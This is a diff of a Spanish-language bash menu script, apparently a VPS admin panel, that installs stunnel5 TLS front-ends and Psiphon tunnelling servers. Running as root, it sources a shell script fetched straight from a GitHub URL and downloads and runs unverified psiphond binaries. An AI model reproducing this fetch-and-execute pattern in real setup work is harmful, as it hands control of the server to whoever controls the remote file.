+msg -bar
+return 0
+;;
+esac
+#FIN VERIFICA STUNNEL5 ACTIVO
+}
+unset lang
+figlet " STUNNEL5 " | boxes -d stone -p a2v1
+msg -bar
+echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar con ZIP URL \033[0;32m(#OFICIAL)"
+msg -bar
+selection=$(selection_fun 4)
+case ${selection} in
+1)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+inst_stunnel5
+echo "; It is recommended to drop root privileges if stunnel is started by root
+setuid = stunnel
+setgid = stunnel
+
+; PID file is created inside the chroot jail (if enabled)
+chroot = /var/lib/stunnel
+pid = /stunnel.pid
+
+; TLS front-end to a web server
+; Use the cert and key from certbot
+[https]
+accept = ${SSLPORT}
+connect = ${DPORT}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" > /usr/local/etc/stunnel/stunnel.conf
+openssl genrsa -out key.pem 2048 > /dev/null 2>&1
+(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1
+[[ -d /usr/local/etc/stunnel ]] && cat cert.pem > /usr/local/etc/stunnel/stunnel.cert
+[[ -d /usr/local/etc/stunnel ]] && cat key.pem > /usr/local/etc/stunnel/stunnel.key
+[[ -e /usr/local/share/doc/stunnel/examples/stunnel.init ]] && cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+systemctl daemon-reload &>/dev/null
+systemctl start stunnel5 &>/dev/null
+systemctl enable stunnel5 &>/dev/null
+msg -bar
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+2)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+inst_stunnel5
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh)
+echo "; It is recommended to drop root privileges if stunnel is started by root
+setuid = stunnel
+setgid = stunnel
+
+; PID file is created inside the chroot jail (if enabled)
+chroot = /var/lib/stunnel
+pid = /stunnel.pid
+
+; TLS front-end to a web server
+; Use the cert and key from certbot
+[https]
+accept = ${SSLPORT}
+connect = ${DPORT}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" > /usr/local/etc/stunnel/stunnel.conf
+cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+[[ -e /data/cert.crt && -e /data/cert.key ]] && {
+cat /data/cert.key > /usr/local/etc/stunnel/stunnel.key
+cat /data/cert.crt > /usr/local/etc/stunnel/stunnel.cert
+} || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+rm -f /etc/systemd/system/stunnel5.service &>/dev/null
+rm -rf /usr/local/etc/stunnel/* &>/dev/null
+rm -rf /usr/local/share/doc/stunnel &>/dev/null
+rm -rf /ADMcgh/stunnel-5.65 &>/dev/null
+rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION FALLIDA"
+msg -bar
+return 0
+}
+systemctl daemon-reload &>/dev/null
+systemctl start stunnel5 &>/dev/null
+systemctl enable stunnel5 &>/dev/null
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+3)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+inst_stunnel5
+[[ -e /usr/local/etc/stunnel/stunnel.cert && -e /usr/local/etc/stunnel/stunnel.key ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25
+msg -bar
+echo -e "Descarga el fichero URL del Certificado SSL "
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online"
+ echo -e " Si Aun no lo has hecho, Cancela este paso"
+ echo -e " Evitar Errores Futuros"
+ echo -e " y causar problemas en futuras instalaciones.\033[0m"
+ msg -bar
+msg -bar
+echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados "
+msg -bar
+read -p " Pega tu Link : " urlm
+wget -q -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido"
+msg -bar
+echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m"
+msg -bar
+unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir "
+[[ $(ls | grep ".key") ]] && cat *.key > /usr/local/etc/stunnel/stunnel.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m"
+[[ $(ls | grep ".crt") ]] && cat *.crt > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m"
+[[ $(ls | grep ".pem") ]] && cat *.pem > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m PEM del Certificado cargada Exitodamente\033[0m"
+rm -f *.key *.crt *.pem certificados.zip 1> /dev/null 2> /dev/null && cd $HOME
+echo "; It is recommended to drop root privileges if stunnel is started by root
+setuid = stunnel
+setgid = stunnel
+
+; PID file is created inside the chroot jail (if enabled)
+chroot = /var/lib/stunnel
+pid = /stunnel.pid
+
+; TLS front-end to a web server
+; Use the cert and key from certbot
+[https]
+accept = ${SSLPORT}
+connect = ${DPORT}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" > /usr/local/etc/stunnel/stunnel.conf
+cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+[[ -e /usr/local/etc/stunnel/stunnel.key && -e /usr/local/etc/stunnel/stunnel.cert ]] || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+rm -f /etc/systemd/system/stunnel5.service &>/dev/null
+rm -rf /usr/local/etc/stunnel/* &>/dev/null
+rm -rf /usr/local/share/doc/stunnel &>/dev/null
+rm -rf /ADMcgh/stunnel-5.65 &>/dev/null
+rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m FALLO AL INSTALAR STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION FALLIDA"
+msg -bar
+return 0
+}
+systemctl daemon-reload &>/dev/null
+systemctl start stunnel5 &>/dev/null
+systemctl enable stunnel5 &>/dev/null
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+*)
+return 0
+;;
+esac
+}
+
+
+painel_upload () {
+msg -bar
+echo -e "${cor[2]}Desea Instalar Panel De Upload?"
+msg -bar
+read -p " [ s | n ]: " up_load
+msg -bar
+ [[ "$up_load" = @(s|S|y|Y) ]] && bash /ADMcgh/insta_painel || {
+ echo -e "${cor[2]}Instalacao Abortada"
+ msg -bar
+ }
+}
+
+
+function psix(){
+clear
+tittle
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON OFICIAL "
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON HTTP CUSTOM ( \033[0;33mNEW\033[0m )"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m${flech} ${cor[3]}INICIAR PSIPHON "
+echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON"
+echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar #msg -bar
+selection=$(selection_fun 5)
+case ${selection} in
+1)
+psiserver
+read -p " Enter";;
+2)
+psiservernew
+read -p " Enter";;
+3)
+psiiniciar
+read -p " Enter";;
+4)
+psidetener
+read -p " Enter";;
+5)
+psireiniciar
+read -p " Enter";;
+0)
+return;;
+esac
+}
+
+function psireiniciar(){
+echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m"
+echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+cd /root/psi 2> /dev/null
+screen -dmS psi ./psiphond run 2> /dev/null
+if pgrep psiphond >/dev/null
+then
+echo "Status: El proceso se ha reiniciado"
+else
+echo "Status: El servicio est detenido"
+fi
+fi
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+}
+
+function psidetener(){
+echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m"
+echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+if pgrep psiphond >/dev/null
+then
+echo "Status: El proceso aun sigue activo"
+else
+echo "Status: El servicio se ha detenido"
+fi
+fi
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+}
+
+function psiiniciar(){
+echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m"
+echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+cd /root/psi 2> /dev/null
+screen -dmS psi ./psiphond run 2> /dev/null
+if pgrep psiphond >/dev/null
+then
+echo "Status: El proceso se ha iniciado"
+else
+echo "Status: El servicio no se ha iniciado. Verifique su configuracin o reinstale el servidor"
+fi
+fi
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+}
+
+psiserver(){
+ install_psiphone() {
+ clear && clear
+ if ps aux | grep 'psiphond' | grep -v grep >/dev/null; then
+ echo "El proceso psiphond ya está activo."
+ exit 1
+ fi
+
+ msg -bar
+ msg -tit
+ msg -bar
+ msg -ama " INSTALADOR DE SERVR-PSIPHONE"
+ msg -bar
+rm -rf /root/psi
+echo -e "\033[1;33m Se instalará el servidor de Psiphon\033[0m"
+echo -e "\033[1;33m ESTA OPCION PODRIA NO FUNCIONAR EN CIERTOS VPS\033[0m"
+echo -e "\033[1;33m Si ya tenías una instalacion Previa, esta se eliminara\033[0m"
+echo -e "\033[1;33m Debes tener instalado previamente GO Lang \033[0m"
+echo -e "\033[1;33m BINARIO FUNCIONAL BAJO GOLANG >='1.20.xx' \033[0m"
+echo -e "\033[1;33m PUEDES INSTALAR GO-LANG EN EL MENU 7, OPC 15\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+rm -rf /root/psi
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+cd /root
+mkdir psi
+cd psi
+psi=`cat /root/psi.txt`;
+ship=$(wget -qO- ipv4.icanhazip.com)
+curl -o /root/psi/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond 1> /dev/null 2> /dev/null
+chmod 777 psiphond
+ while true; do
+ echo -e "\033[1;33m PUERTO Psiphon SSH ( NO LOCAL SSH 22 ):\033[0m"
+ read -p " Listen-P-SSH: " sh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $sh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$sh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+#2
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para Psiphon OSSH:\033[0m"
+ read -p " Listen-P-OSSH: " osh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+#3
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para Psiphon FRONTED-MEEK:\033[0m"
+ read -p " Listen-P-OSSH: " fm
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $fm`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$fm"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+#4
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para Psiphon UNFRONTED-MEEK:\033[0m"
+ read -p " Listen UNFRONTED-MEEK: " umo
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $umo`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$umo"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+./psiphond --ipaddress $ship --protocol SSH:$sh --protocol OSSH:$osh --protocol FRONTED-MEEK-OSSH:$fm --protocol UNFRONTED-MEEK-OSSH:$umo generate
+chmod 666 psiphond.config
+chmod 666 psiphond-traffic-rules.config
+chmod 666 psiphond-osl.config
+chmod 666 psiphond-tactics.config
+chmod 666 server-entry.dat
+[[ -e server-entry.dat ]] && {
+serverCAT=$(cat server-entry.dat)
+cat server-entry.dat > /root/psi/psi.txt
+}
+screen -dmS psiserver ./psiphond run
+cd /root
+echo -e "\033[1;33m LA CONFIGURACION DE TU SERVIDOR ES:\033[0m"
+msg -bar
+echo -e "\033[1;32m ${serverCAT} \033[0m"
+msg -bar
+echo -e "\033[1;33m PROTOCOLOS HABILITADOS:\033[0m"
+echo -e "\033[1;33m ?? SSH:\033[1;32m $sh \033[0m"
+echo -e "\033[1;33m ?? OSSH:\033[1;32m $osh \033[0m"
+echo -e "\033[1;33m ?? FRONTED-MEEK-OSSH:\033[1;32m $fm \033[0m"
+echo -e "\033[1;33m ?? UNFRONTED-MEEK-OSSH:\033[1;32m $umo \033[0m"
+msg -bar
+echo -e " "
+echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m"
+msg -bar
+[[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && msg -verd " >> SERVIDOR-PSIPHONE INSTALADO CON EXITO <<" || msg -ama " ERROR VERIFIQUE"
+msg -bar
+read -t 120 -n 1 -rsp $'\033[1;39m Presiona enter para Continuar\n'
+fi
+}
+
+ desactivar_psiphone() {
+ clear && clear
+ msg -bar
+ echo -e "\033[1;31m DESISNTALANDO PUERTOS UDP-SERVER "
+ msg -bar
+ rm -rf /root/psi
+ kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1>/dev/null 2>/dev/null
+ killall psiphond 1>/dev/null 2>/dev/null
+ [[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && echo -e "\033[1;32m >> UDP-SERVER DESINSTALADO CON EXICO << "
+ read -t 60 -n 1 -rsp $'\033[1;39m << Presiona enter para Continuar >>\n'
+ menu_inst
+ }
+ clear && clear
+ msg -bar
+ tittle
+ msg -ama " PSIPHONE-SERVER | @ChumoGH"
+ msg -bar
+ if [[ ! -e /bin/psiphond ]]; then
+ curl -o /bin/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond &>/dev/null
+ chmod 777 /bin/psiphond
+ fi
+ echo -ne " \e[1;93m [\e[1;32m1\e[1;93m]\033[1;31m > \e[1;97m INSTALAR SERVER-PSIPHONE \e[97m \n"
+ echo -ne " \e[1;93m [\e[1;32m2\e[1;93m]\033[1;31m > \033[1;97m DETENER SERVER-PSIPHONE \e[97m \n"
+ msg -bar
+ echo -ne " \e[1;93m [\e[1;32m0\e[1;93m]\033[1;31m > \033[1;97m" && msg -bra " \e[97m\033[1;41m VOLVER \033[1;37m"
+ msg -bar
+ echo -ne "\033[1;97m OPCION:\e[32m "
+ read opcao
+ case $opcao in
+ 1)
+ msg -bar
+ install_psiphone
+ ;;
+ 2)
+ msg -bar
+ desactivar_psiphone
+ ;;
+ *)
+ echo -e "$ SOLO OPCION ENTRE [0-2]"
+ msg -bar
+ ;;
+ esac
+
+}
+
+
+function psiservernew(){
+clear&&clear
+msg -bar
+msg -ama " BINARIO OFICIAL DE Epro Dev Team"
+msg -bar
+echo -e "\033[1;33m SE RECOMIENDA : HTTP-OSSH 80 y OSSH 443\033[0m"
+echo -e "\033[1;33m HABILITAREMOS SERVIDOR PSIPHON SERVER CUSTOM MOD\033[0m"
+echo -e "\033[1;33m SI TIENES UNA CONFIG PREVIA, SE SOBREESCRIBIRA CON ESTA\033[0m"
+echo -e "\033[1;33m SE RECOMIENDA VERIFICAR EL PANNEL DE PUERTOS \033[0m"
+echo -e "\033[1;33m Y CHECAR LOS PUERTOS QUE VALLAS A UTILIZAR\033[0m"
+msg -bar
+echo -e "\033[1;33m ACEPTAS CONTINUAR?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+rm -rf /root/psi 2>/dev/null
+rm /root/psi.txt 2>/dev/null
+rm /var/www/html/psi.txt 2>/dev/null
+cd /root
+mkdir psi
+cd psi
+wget 'https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/binarios/Psiphond-Epro/psiphond' -O '/root/psi/psiphond' 2> /dev/null
+cd /root/psi
+chmod 775 /root/psi/psiphond
+#1
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-HTTP-OSSH:\033[0m"
+ read -p " Listen-P-OSSH: " httposh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $httposh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$httposh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+#FIN 1
+#2
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-OSSH:\033[0m"
+ read -p " Listen-P-OSSH: " osh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+#FIN 2
+
+cd /root/psi
+[[ -e /root/psi/server-entry.dat ]] && {
+echo -e " CONFIGURACION BASE REUTILIZADA !!!"
+} || {
+/root/psi/psiphond --ipaddress 0.0.0.0 --protocol FRONTED-MEEK-HTTP-OSSH:$httposh --protocol FRONTED-MEEK-OSSH:$osh generate
+ [[ -e /root/psi/psiphond.config ]] && {
+ _ruta='/root/psi/'
+ psi1='psiphond-tactics.config'
+ psi2='psiphond-traffic-rules.config'
+ psi3='psiphond-osl.config'
+ #psi4='psiphond-traffic-rules.config'
+ sed -i "s%${psi1}%${_ruta}${psi1}%g" /root/psi/psiphond.config
+ sed -i "s%${psi2}%${_ruta}${psi2}%g" /root/psi/psiphond.config
+ sed -i "s%${psi3}%${_ruta}${psi3}%g" /root/psi/psiphond.config
+ #sed -i "s%${psi4}%${_ruta}${psi4}%g" /root/psi/psiphond.config
+ }
+
+}
+cat /root/psi/server-entry.dat >> /root/psi.txt
+ msg -bar
+ msg -azu "... ACIVANDO PSISERVER _..."
+if screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run ; then
+ #-------------------------
+ [[ $(grep -wc "psiserver" /bin/autoboot) = '0' ]] && {
+ echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot
+ } || {
+ sed -i '/psiserver/d' /bin/autoboot
+ echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot
+ }
+ crontab -l > /root/cron
+#echo "@reboot /bin/autoboot" >> /root/cron
+ crontab /root/cron
+ service cron restart
+ rm -f /root/cron
+#-------------------------
+ msg -verd " Con Exito!!!"
+ msg -bar
+ else
